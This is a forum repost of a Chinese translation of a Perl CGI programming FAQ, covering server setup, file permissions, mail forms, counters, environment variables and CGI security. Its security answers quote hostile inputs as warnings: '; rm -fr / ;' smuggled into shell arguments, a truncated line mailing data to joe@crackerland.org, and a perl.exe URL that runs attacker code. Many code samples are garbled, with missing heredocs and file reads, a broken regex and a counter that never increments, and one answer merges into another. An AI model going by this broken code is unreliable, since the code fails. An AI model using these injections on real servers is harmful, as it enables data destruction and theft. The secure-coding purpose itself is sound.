论坛: 网站建设 标题: PerlCGI编程常问问题 复制本贴地址    
作者: Aoming [aoming]    版主   登录
主题 Perl CGI 程式写作常问问题集
出自 http://www.fanqiang.com
作者 萧百龄  两只老虎工作室
日期 2002年02月03日 15:00 


=========================
3.0 - CGI 与 WWW Server 
=========================
-------------------------------------------------------------------------------- 
Q3.1: 我的 Perl CGI 程式要放在哪里执行?cgi-bin 这个目录是做甚麽用的? 

server 通常是设定成去执行放在 ``cgi-bin'' 目录底下的 CGI 程式。不过, server 管理者同时也可以在设定档中设定 aliases,让所有含某些副档名(如 .cgi、.pl)的 scripts 都能执行*。 

【译者】设定 CGI aliases 和副档名固然很方便,但 server 管理者须注意到相 关的安全问题。
-------------------------------------------------------------------------------- 
Q3.2: 什麽是档案使用权限?怎样改? 

档案权限是根据使用者识别代号(又称 uid),以及他们所属的团体来决定是否赋 与使用者读、写,和执行某档案的权利。您可使用 chmod 这个指令去修改档案的 使用权限。例如: 

% ls -ls form.cgi 

1 -rwx------ 1 shishir 974 Oct 31 22:15 form.cgi* 

此一档案的权限为 0700(八进制),意味着没有人(档案所有人除外)能够读取、写进,或执行这个档案。我们可以用 chmod 这个指令去修改它的权 限: 

% chmod 755 form.cgi 
% ls -ls form.cgi 

1 -rwxr-xr-x 1 shishir 974 Oct 31 22:15 form.cgi* 

这样一来,权限就变了。现在和 ``shishir'' 在同一个团体的使用者,还有其他 任何的使用者都有权利去读取和执行这个档案了。 

如欲知 chmod 指令各八进制数码所代表的含意,请参阅 chmod manpages的说明。
-------------------------------------------------------------------------------- 
Q3.3: Perl 应该安装在哪里才可以执行它? 

Perl 可以安装在系统上任何一个角落!您唯一要注意的是 server 不能在chroot 的环境下跑,否则它便无法跑 perl 解译器。换言之,系统管理者可以把根目录 改变,让 ``/'' 指到另一个目录,而不是实际真正的根目录(``/'')。 
-------------------------------------------------------------------------------- 
Q3.4: 我为什麽一直得到 ``Server: Error 500'' 的讯息?

以下几种情形会触发这个错误讯息: 

如果 script 开头的地方没有 ``#!/usr/local/bin/perl'' 这个指到 Perl 解译器的标头,或者是指到解译器(或 library 档)的路径错误。 
如果 script 输出的第一行是一个不正确的标头(即 ``Content-Type: text/html'' ),或者是该标头後面没有跟着一个空行。 
如果您的 script 有句法上的错误。您的 scripts 都应在指令列先跑跑看才是。 
-------------------------------------------------------------------------------- 
Q3.5: 我试着打开一个档案,想把资料储存在里头,但是 open() 的指令失败了。到底是怎麽搞的? 

一般说来,HTTP server 是以 ``nobody''、``www'',或其他这类权限低的使用 者的身份来跑的。因为这个缘故,您打算在其中制造新档案的目录,对 server 跑的 使用者 ID 必须要是可写(writable)才行。 

为了确定起见,您每次都应该先检查 open 这个指令送回的结束状态(return status),看看 open 有没有成功。 

open(FILE, "/abc/data.txt") 
|| error("Could not open file /abc/data.txt"); 





sub error { 
my($message) = @_; 

print 
CGI Error 

Oops! Error 

$message 




End_of_Error 

  

========================
4.0 - 程式设计疑难杂症 
========================
--------------------------------------------------------------------------------
Q4.1: 我想让 user 填的 form 资料自动寄给我,该怎麽做?有没有范例?
 
其实做这个很容易。您的 CGI script 必须能做到这两件事: 

将 form 中的资料整理出来。别忘了,所有的 form 资料都会被 URL-编码起来 (先不考虑 Netscape 2.0 【及 2.0 以上所支援】的 multipart MIME资料)。 
开一个管路 (pipe) 到 mail (或 sendmail ),然後把 form 资料写过去。 
我们就假设您用的是 CGI::* 模组。您可用以下的方法去叫 sendmail: 

$cgi_form = new CGI::Form; 

$from = $cgi_form->param('from'); 
$name = $cgi_form->param('name'); 
$to = $cgi_form->param('to'); 
$subject = $cgi_form->param('subject'); 
$message = $cgi_form->param('message'); 

open SENDMAIL, "| /usr/bin/sendmail -t -n"; 
print SENDMAIL 
To: $to 
Reply-To: $from 
Subject: $subject 

$message 
End_of_Mail 

有一个该注意的地方是 ``Reply-To:'' 的信头。由於 server 是以 ``nobody''这 个使用者的身份来跑,信头的地方可能会被搞坏(尤其是当有人想回这封信的时後)。 加上 ``Reply-To'' 的信头这个问题便解决了。 

网路上有许多的 mail 渠道 (gateway)* 是以底下这种方法来送 mail: 

【译者】gateway 在此指送 email 的 CGI 程式 

open MAIL, "| mail -s 'Subject' $to"; 



+-- 可能会出问题的漏洞!!! 

如果您没有先检查看 $to 这个变数有没有内含 shell 的特殊符号 (metacharacters),您是在自讨苦吃!譬如,如果哪个恶劣的 user 输入了以下的资 料: 

; rm -fr / ; 
那麽您的麻烦可大了*。 

【译者】这里头的 ``;'' 便是一个危险的 shell metacharacter。另一个危险的符号是 ``&''。 

在这个假想的情况中,有多少个档案会被远方的 user 给杀掉,还得视 server 跑的使用者的权限而定(这就是为什麽 server 要以低权限使用者身份跑的原因)。 至少那些由 CGI 程式制造出来,但又没有备份的档案,是真的要跟它们永别了。 

; mail joe@crackerland.org &STDOUT"; 

这会将所有的错误讯息都转送到 STDOUT (即浏览器) 去。 
-------------------------------------------------------------------------------- 
Q4.5: 如何写计数器? 

计数器一类的程式相当流行。其实计数器的原理很简单,不过是: 

用一个档案去储存资料。 
每当有人光临网站,增大档案中所计的数字。 
以下是一个简单的计数器的实例: 

#!/usr/local/bin/perl -w 

$counter = "/home/shishir/counter.dat"; 
print "Content-type: text/plain", "\n\n"; 

open(FILE, $counter) || die "Cannot read from the counter file.\n"; 
flock FILE, 2; 
$visitors = ; 
flock FILE, 8; 
close FILE; 

open(FILE, ">$counter") || die "Cannot write to counter file.\n"; 
flock FILE, 2; 
print FILE $visitors; 
flock FILE, 8; 
close FILE; 

现在您可以在 HTML 档案中用 SSI (Server Side Include; 伺服端插入)* 的方式来显示该计数器: 

【译者】SSI 是 server 所提供的一项功能,可将动态资料,例如日期和时间,或 计数器显示等,在客户请求一网页时即时加入该文件中。支援 SSI 的 servers 包 括了 NCSA、Apache,和Netscape Enterprise Server 等。 SSI 固然是一项便利的设计,但如过份滥用 ,不但会减低 server 性能,更可能招来安全上的危机。 

您是第 

位光临本站的客人。 


-------------------------------------------------------------------------------- 
Q4.6: 要如何用一个 Perl 的取代指令将所有 HTML 标签从一份文件中删除? 

以下这个简单的 regular expression 可用来去除 HTML 标签*: 

【译者】 

要让这个 regular expression 跨行执行,您必须先将您的 script 由预设的 按行执行模式 (line mode) 改为按段执行模式 (paragraph mode)。您可以在指令 列以: 
perl -00 -we '...' 

的方式;或是在 script 中以: 

#!/usr/bin/perl -00 

或 

$/ = ""; 

的方式来设定按段执行模式。 

除非您需要对欲删除的 HTML 标签中的内容做进一步的处理或利用,否则本例 中最外围的一对括弧可去掉。 
$line =~ s/]|\n)*)>//g; 

详细的相关资料,请看 Tom [Christiansen] 的 striphtml 程式, 这个程式同时也收录在他的tour of perl5 regexps 讲义中。 
-------------------------------------------------------------------------------- 
Q4.7: 要如何知道是谁/哪台机器/哪个浏览器执行了我的程式? 

您可以从 HTTP_USER_AGENT 这个环境变数得知使用者所用的浏览器。 

【摘自 WWW FAQ】 

您的 CGI script 可以利用五个重要的环境变数来帮忙辨识使用者的身份。 

HTTP_FROM 
这个环境变数理论上应设为使用者的email地址。但是许多浏览器完全不加以设定 【即不支援】,而大部份支援这个变数的浏览器又让使用者自由设定这个值。因此, 建议读者顶多拿它来做为 email form 中回信地址的预设值。 

REMOTE_USER 
这个变数唯有当 script 在安全认证的保护下执行时才会被设定。从 AUTH_TYPE 这个变数可以知道所用的认证方法是属於哪一个类型。REMOTE_USER 则会含有正接 受认证的使用者的名字。要注意的是,REMOTE_USER 只有在使用安全认证的时候才 会被设定,而且不是所有的 servers 都支援。在 NCSA server 底下,如果认证所 使用的传输方式没有列入 access.conf 档中(也就是说,应使用 ,而不是仅仅用预设的 ),认证可能会出人意外地失 败。 

REMOTE_IDENT 
如果 server 能连接上客户端的 IDENT server,它会将这个变数设成远方使用者 的身份。但由於向IDENT server 查询的动作太花时间,大部份的 servers 都把这 项功能关掉。更何况,客户端的机器是否会回应查询,又是否会诚实以对,都是无 法确定的。 

REMOTE_HOST 
这个变数的设定值并不包括远端使用者的真实身份,但是会提供使用者正用来连线 的机器名称,只要 server 能找得出来。由於我们无法确切得知使用者的真实身份 【请看前一个环境变数的说明】,有的时候使用可确认的位址来替代,不失为一个可 行的变通方法。在 server 查不到远端的机器名称,或者是为增加 server 的处理 速度而将这个查询功能关掉的情况下,这个变数是空的;请看底下 REMOTE_ADDRESS 一项的说明。还有,别忘了您可能会发现所有使用同一个 proxy (代理人) server 的使用者的机器名都变成了那台 proxy server 的名字。 
REMOTE_ADDR 
这个变数的设定值并不包括远端使用者的真实身份,但是会提供使用者正用来连线 的机器的资料。REMOTE_ADDR 会包含客户端的 IP 位址,以用点隔开的十进位数字 的形式来表示。由於我们无法确切得知使用者的真实身份 [请看前一个环境变数的 说明],有的时候使用可确认的位址来替代,不失为一个可行的变通方法。和前一 项 REMOTE_HOST 不同的是,这个变数一定会被设定。还有,别忘了您可能会发现 所有使用同一个 proxy (代理人) server 的使用者的机器位址都变成了那台 proxy server 的位址。 

【摘录自 WWW FAQ 部份完】 
-------------------------------------------------------------------------------- 
Q4.8: 人家看得到我的 Perl CGI 程式吗?如果是这样的话,那不就让他们知道我的程式是怎麽运作的了。这是个安全漏洞吗?我要怎麽把它隐藏起来? 

如果您将您的 server 设成对所有在一个特定目录(如 cgi-bin)下的档案,或者 是具有某些副档名(如 ``.pl''、``.tcl''、``.sh'')的档案一律都以 CGI 程式看 待,那麽 server 只会执行这些程式。至於使用者是无法看到 script 本身的内容 的。 

但是如果您允许人们看您的 script (譬如把它放到 HTML 文件的根目录 下),那麽只要是这个程式没有安全上的漏洞,这并不能算是安全问题。如 果这个程式真的有安全上的破绽而您又允许使用者看这个程式,那麽他们便有机可 乘,进而利用这个弱点。 

【译者】上面这段原文作者是就远方的客户端的使用者而言。和这个主题相关的一 个常问问题是: 

Q: 我的 Perl CGI scripts 必须将权限设为全世界可读。可是这样一来,和我同 机器有帐户的人,只要知道我的程式名称,就可以浏览我的 Perl 程式的内容;尤 其当其中牵涉到密码的问题时。 

A: 至少有两个解决方法,一个简单,一个复杂: 

简单的方法是,请您的系统管理者(如果不是您自己的话),将您的 CGI scripts 及密码档(如果您选择将密码存放在另一个档案中的话)的所有者设成 Web server 跑的使用者(最常见的是使用者 nobody ;使用群 nogroup 或 nobody), 然後将 CGI scripts 的使用权限设定成 550 (-r-xr-x---),密码档的权限设成 440 (-r--r-----)。如此一来,一方面您的程式得以执行,而且其他同机器上的 使用者也没有办法偷看到您的程式和密码。 

比较复杂的解决方法是先挑个难破的密码将整个程式加密起来,然後再使用 Filter::decrypt 这个模组在临执行前将其解开,在此不多说。有兴趣的读者请看 Filter::decrypt 的使用说明;此外新的 perl FAQ 第叁部分中这一段:``How can I hide the source for my Perl program?'' ,大家也可参考。 
-------------------------------------------------------------------------------- 
Q4.9: 我需要将整个 Perl library 都复制到我的 htdocs 目录底下吗? 

不需要。您的 CGI scripts 可以使用 server 和 文件根目录之外的任何档案,除 非 server 是在一个 chroot 的环境下执行。 
--------------------------------------------------------------------------------
Q4.10: 我为什麽不该叫使用者输入他们的密码或身份证字号或信用卡号码?有一个 TYPE="password" 不是就是拿来做这个的吗? 

No! form 的介面中有一个 ``password'' 的栏位,但是您不应该拿它来处 理任何机密性的资料。不该这麽做的原因是因为所有的 form 资料(包括 ``password'' 栏) 都是以纯文字形式,而非以加密形式由浏览器送至 server。 

如果您想要安全地传送资料,那麽您需要使用具有安全功能的 server,例如 Netscape 的 Commerce Server*。 

【译者】Apache SSL ,例如 Stronghold 版,同样具有这个功能。 
-------------------------------------------------------------------------------- 
Q4.11: 我要如何产生专门替 Netscape 设计的网页,以别於世上其他的浏览器? 

您可以透过 HTTP_USER_AGENT 这个环境变数在您的 CGI script 中得知是否 Netscape 正在执行您的 script。以下为一例: 

$browser = $ENV{'HTTP_USER_AGENT'}; 

if ($browser =~ /Mozilla/) { 

# Netscape 

} else { 

# Non Netscape 


-------------------------------------------------------------------------------- 
Q4.12: 为什麽我的 system() 所产生的资料输出顺序不对? 

这是由於标准输出的产生方式通常是先累积相当的资料再输出(buffered)。要 让输出的资料以正确的顺序显示,您必须藉由 $| 这个变数的设定将 buffering 的 特性关掉。 
-------------------------------------------------------------------------------- 
Q4.13: 我听说 Netscape 会支援 Java*。这是不是说我现在得弃 Perl,改 Java 了?是不是该这麽做? 

【译者】原 FAQ 已有相当一段时间未更新。这句话现在应该改作「Netscape 和 IE 两大浏览器都已支援 Java」。 

不、不、不。Java 和 CGI 的概念完全不同。CGI 是在 server 端执行,而 Java则是在 client 端执行。有些东西(如动画)可藉由使用 Java 而得到较好的效 果。但您可继续使用 perl 来发展 server 端的应用程式。 

如果您需要有关 Java 进一步的资料,底下列了几个文件您可以去看看*: 

升阳公司的 Java 文件 
Tom C.所写的 Java uber Alles(Java 的种种) 
Java, the Illusion(Java 幻像) 
【译者】後面这两篇文章对 Java 及这个热潮作了很严厉的批判。本 FAQ 作者 Tom C. 的 Java uber Alles 中的论点主要着重於技术层面。Tom 对 Java 的态度或许代表了不少 Perl 阵营人仕的心声。 
-------------------------------------------------------------------------------- 
Q4.14: 我要如何读取环境变数?为什麽它们有时候会不一样? 

您可以透过 %ENV 这个关连阵列来读取环境变数。以下这个简单的 script 会把所 有的环境变数印出来(排好顺序): 

#!/usr/local/bin/perl -w 

print "Content-type: text/plain", "\n\n"; 

foreach $key (sort keys %ENV) { 
print $key, " = ", $ENV{$key}, "\n"; 


exit 0; 

很不幸的,有些环境变数会被某些浏览器忽略掉。譬如,有些浏览器就不设定 HTTP_REFERER。 
-------------------------------------------------------------------------------- 
Q4.15: 为什麽我输出的资料被搅乱了(如 ``b 

如果您送的 MIME 类型是 HTML 的话,您必须 「跳脱」 (escape) 某些符号,如 ``'',否则浏览器会以为它是 HTML 【标签】。 

您必须使用以下格式来跳脱特殊字元: 

&#ASCII 代码; 
您可以在指令列执行这个简单的 script,便可得到非字母数字性字元 (non alpha-numeric characters) 所对应的 ASCII 码: 

#!/usr/local/bin/perl -w 

print '请输入字串: '; 

chop($string = ); 
$string =~ s/([^\w\s])/sprintf("&#%d;", ord($1))/ge; 

print '跳脱过的字串是: ', "$string\n"; 

exit 0; 
--------------------------------------------------------------------------------
Q4.16: 为什麽我的Perl CGI 程式可以由指令列,却无法从浏览器去执行? 

最可能的原因是权限的问题。别忘了,您的 server 可能是以 ``nobody''、 ``www'',或其他权限很低的帐户身份来执行的。因此,除非它有足够的权限,否 则是无法执行您的 script 的。 
-------------------------------------------------------------------------------- 
Q4.17: 为什麽我的 Perl CGI 程式能跑,但是不会把资料写到档案中?
 
这又是权限在作怪!server 除非有足够的权限否则是无法将资料写进某目录下的 某档案里去的。 

您应该养成习惯检查 open 指令递回的错误状态 (error status): 

print "Content-type: text/plain\n\n"; 





open(FILE, ">/some/dir/some.file") || 
print '无法写进档案: ', "$!\n"; 




-------------------------------------------------------------------------------- 
Q4.18: 要如何做一个会维系状态,或允许【同一使用者】多次连线的 form?
 
您可以用 CGI::MiniSvr 这个 module 来维持【记住】几次不同的连线之间的状态资 料。 

或者,您可以制做一系列的动态文件,在彼此之间相互传递一个期间代码(session ID),此代码可以以询问 (query)、额外路径,或隐藏式栏位等形式存在*。 

【译者】CGI.pm 会替您把这部份(维持状态)做好 (用上述的原理),故使用 CGI.pm 可自动享受这项功能,不需要自己去做。这又多了一个该使用 CGI.pm 的理由。 
-------------------------------------------------------------------------------- 
Q4.19: 如果不从浏览器去执行我的 CGI 程式,要如何替它除错?
 
CGI 程式不容易除错。您可以藉着手动设定环境变数来模拟 server: 

setenv HTTP_USER_AGENT "Mozilla/2.0b6" (csh) 

或 

export HTTP_USER_AGENT = "Mozilla/2.0b6" (ksh, bash) 

要模拟 POST 请求,您可以把资料先放进一个档案里,然後把它 pipe 到您的程式 去: 

cat data.file | some_program.pl 
或者您可以用 CGI.pm 来帮您除错。假设您有一个像下面这样的 script, 它会把所有您传给它的索引/设定值对应资料 (key/value pairs) 都列印出来。 

#!/usr/local/bin/perl -w 

use CGI; 

$cgi = new CGI; 

print $cgi->header; 
print $cgi->start_html("Simple CGI.pm Program"); 
print "Simple CGI.pm Program\n"; 
print ""; 
print '以下所列的是您传送的设定值:'; 
print $cgi->dump; 

exit 0; 

这个 script 不会在乎您是透过 GET、POST,或 ISINDEX 请求,或者是由指令列、 标准输入,或文字档将资料传送给它。为了方便除错,我们就直接从指令列传一些 资料给它吧: 

% simple.cgi first=shishir last=gundavaram document='CGI\ FAQ' 

或 

% simple.cgi "first=shishir&last=gundavaram&document='CGI\ FAQ'" 

在第二个例子中,整个字串周围必须加引号("),否则 shell 看到 ``&'' 这个符 号会误解。好,接下来是从标准输入来除错的方法: 

% simple.cgi 
(waiting for standard input) 
first=shishir 
last=gundavaram 
document=CGI\ FAQ 
^D 

当然,您也可以先用一个档案来储存资料,然後再做输入转向,像这样: 

% simple.cgi 
您也可以用 CGI Lint (即将出版)。它能达到相同的功效。另外,它也能帮忙检查 有无安全问题,不当使用 open(),以及不正确的 HTTP 标头等。 
-------------------------------------------------------------------------------- 
Q4.20: 如果不靠标签,要如何叫出 Perl CGI 程式? 

您可以直接去打开该 CGI 程式的 URL: 
http://some.machine/cgi-bin/your_program.pl 
您也可以在文件中使用连结的方式,例如: 


要试试我的CGI程式请在这里点一下 


-------------------------------------------------------------------------------- 
Q4.21: 要如何避免旁人不先填栏位就执行我的 form?他们为什麽一直不断这麽做?
 
这些人栏位完全空白就去执行 form 是因为他们把这个 form 的 URL 储存起来 【储存到书签里面】的关系。当他们下次叫出这个 form 的时候,这个请求就会变成 是一个空的 GET (而非 POST 或填有资料的 GET)。 

您可以先检查所有栏位中的资料,如果其中有栏位留白的话,您可以送回一个``No Content'' 的状态属性*。以下是一例(假设关连阵列 %form 中含有您 form 的资 料): 

【译者】状态码 204 的属性已由 HTTP 
0.9 的 ``No Response'' 变为 
HTTP 1.0 和 
HTTP 1.1 中的 
``No Content'' 了。 

$error = 0; 

foreach $value (values %form) { 
$value =~ s/\s//g; 
$error = 1 unless $value; 


if ($error) { 
print "Content-type: text/plain\n"; 
print "Status: 204 No Content\n\n"; 
print '除非您的浏览器不支援状态码 204 ,否则您不该看到这部份' , "\n"; 
} else { 

# Process Data Here 


-------------------------------------------------------------------------------- 
Q4.22: 那些server 回应码 (server response codes)是干什麽用的?有什麽意义? 

CGI 程式可以传送 server 然後 server 会把它转送给浏览器。例如: 假设您想送 ``No Content'' (意思是告诉浏览器不要再重新下载该网页),那麽您得送一个 204 的回应码(见上例)。 
-------------------------------------------------------------------------------- 
Q4.23: 为什麽 print "Location: http://host/page.html\n" 不 work?又为什麽它只 work 一次,但随後的转向就都弄错了呢? 

CGI 程式只能送一个 Location 标头。还有,如果您要 server 做转向的 动作您就不该送 MIME 类别。譬如,以下的例子是错误的示范,尽管在有些 servers 上行的通: 

#!/usr/local/bin/perl -w 




print "Content-type: text/plain\n" 
print "Location: http://some.machine/some.doc\n\n""; 
-------------------------------------------------------------------------------- 
Q4.24: 要如何让 server 在每个 HTML 网页的底部都自动加上一个:「最近更新日期: ...」的告示?或者,是不是只有 SSI 的网页才能这麽做?CGI 程式的日期要如何取得? 

如果您是透过 CGI 以动态方式来产生您的文件,那麽要插入一个时间标记非常简 单。以下是一例(仅适用於 Perl 5): 

$last_updated = localtime; 
print '最近更新日期: ', "$last_updated\n"; 

或者是: 

require "ctime.pl"; 

$last_updated = &ctime(time); 
print '最近更新日期: ', "$last_updated\n"; 

甚至像这样: 

chop($date = `/usr/local/bin/date`); 
print '最近更新日期: ', "$last_updated\n"; 

您可以用 SSI 来达到这个效果,像这样: 
--------------------------------------------------------------------------------
Q4.25: 什麽样的场合下以 Perl 写 CGI 程式会显得太小题大作,因为用 shell 就可以做到?而什麽样的场合对 Perl 来说又过於困难?用 C++ 做这类的事不是好得多吗?那用 C 呢? 

每一个语言都有其长处和短处。相信这句话您听过很多次了。所以一切全看您要做 的是什麽而定。如果您预期正准备写的 CGI 程式每个钟头会有几千几万人次连去 使用,那麽您应该选用 C 或 C++来写。如果您求快的话(指发展所花费的时间而言), 那麽 Perl 是正确的选择! 

一般说来,您应避免用 shell 来做任何形式的 CGI 程式设计,因为 shell 在先 天上容易产生安全问题。


============
5.0 - 安全 
============
-------------------------------------------------------------------------------- 
Q5.1: 以 Perl 写成的 CGI 程式是不是不如以 shell 或 C 写的来得安全? 

这个问题的答案是: CGI 程式先天上就不安全,不管它是用那个语言写成的*。 

【译者】WWW 及 CGI 操作安全 FAQ 中问题第 31 对此有深入的探讨。 
-------------------------------------------------------------------------------- 
Q5.2:我该特别留意哪些安全事项? 

绝对不要对 shell 暴露任何 form 资料。底下这几项通通都是安全漏洞: 

open(COMMAND, "/usr/ucb/finger $form_user"); 
system("/usr/ucb/finger $form_user"); 
@data = `usr/ucb/finger $form_user`; 
话虽如此,在上面的第二种写法中,系统安全可藉着改变参数传送的方式而得以改 善。也就是将参数由字串方式传送 (shell 会先解译),改为序列方式传送。 

system("/usr/ucb/finger", $form_user); 
您同时应该阅读: 

由 Lincoln Stein 所着,一份很完整的 WWW 及 CGI 操作安全 FAQ 
Paul Phillips 所着,CGI 安全 FAQ 
-------------------------------------------------------------------------------- 
Q5.3:为什麽大家都说 http://bigidiot.abuse-me.com/perl.exe?foo.pl 这样很危险?会有多糟? 

极度危险! 想想看如果我这麽做会发生什麽事: 
http://bigidiot.abuse-me.com/cgi-bin/perl.exe?-e+'format:%20c' 


现在您同意了吧?避免这个恶梦发生的方法: 

将 perl.exe 执行档由 ``cgi-bin'' 移到 server 根目录以外的目录里去。 
在 ``cgi-bin'' 里用批次档 (batch) script 来叫出您的 CGI script。 
以下是一例。假设您的 CGI script 叫做 ``sample.pl'' 而您的批次档叫 ``simple.bat'': 

@echo off 
c:\dos_perl\perl.exe c:\netscape\ns-home\docs\cgi-bin\simple.pl 

现在,您可以做: 

Click Here 
-------------------------------------------------------------------------------- 
Q5.4:要如何在程式中安全地使用逆向撇号 (backticks,"`",位於键盘左上角)?这麽做:@ans = `grep'$user_field' some.file`; 是不是真的不安全? 

是的! 这非常危险!试想,如果 $user_field 含有这样的内容会有什麽後 果: 

; rm -fr / ; 

要达到相同的效果,一个比较安全的做法是*: 

if (open GREP, "-|") { 
@ans = ; 
} else { 
exec("/usr/local/bin/grep", $user_field, "some.file") 
|| die "Error exec'ing command", "\n"; 


close GREP; 

【译者】 如果读者对以上 open GREP, "-|"部份的句法有疑问,可以 
参阅 perlipc manpages 中 Safe Pipe Opens一节的说明。 
-------------------------------------------------------------------------------- 
Q5.5: /$user_variable/ 这个句法是不是 Perl 5 中的一个安全漏洞?
 
不!这不是个安全漏洞。但是如果您用 eval 指令在执行期 (runtime) 去 评估这个叙述,那麽,它会变成一个安全死角。例如这种做法可能很危险: 

foreach $regexp (@all_regexps) { 
eval "foreach (\@data) { push(\@matches, \$_) if m|$regexp|o; }";  


--------------
 版权事宜 
--------------
This document, and all its parts, are Copyright (c) 1996, Shishir 
Gundavaram and Tom Christiansen. All rights reservered. 
Permisson to distribute this collection, in part or full, via electronic 
means (emailed, posted or archived) or printed copy are granted providing 
that no charges are involved, reasonable attempt is made to use the most 
current version, and all credits and copyright notices are retained. 
Requests for other distribution rights, including incorporation in 
commercial products, such as books, magazine articles, or CD-ROMs should be 
made to either of the authors. 

本文件着作权属於 Shishir Gundavaram 及 Tom Christiansen 所有,Copyright (C) 1996。在不涉及收费营利、尽可能地使用最新版,及所有着作权告示保持完整 的情况下,作者允许任何人透过电子形式(电子邮件、讨论群布告,或存放),或 印表方式对本文件作完整或部份发行。如欲将本文件作其他方式发行,包括将本文 件附加於商业产品,诸如书籍、杂志文章,或光碟等之中,必须事先对二位作者其 中一人提出请求,以徵得许可授权。 

本中译版及译者补充部份着作权属萧百龄及两只老虎工作室所有,Copyright (C) 1997。本中译版遵守并使用与上述原文版相同的使用条款发行。 


地主 发表时间: 06/14 22:08

论坛: 网站建设

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号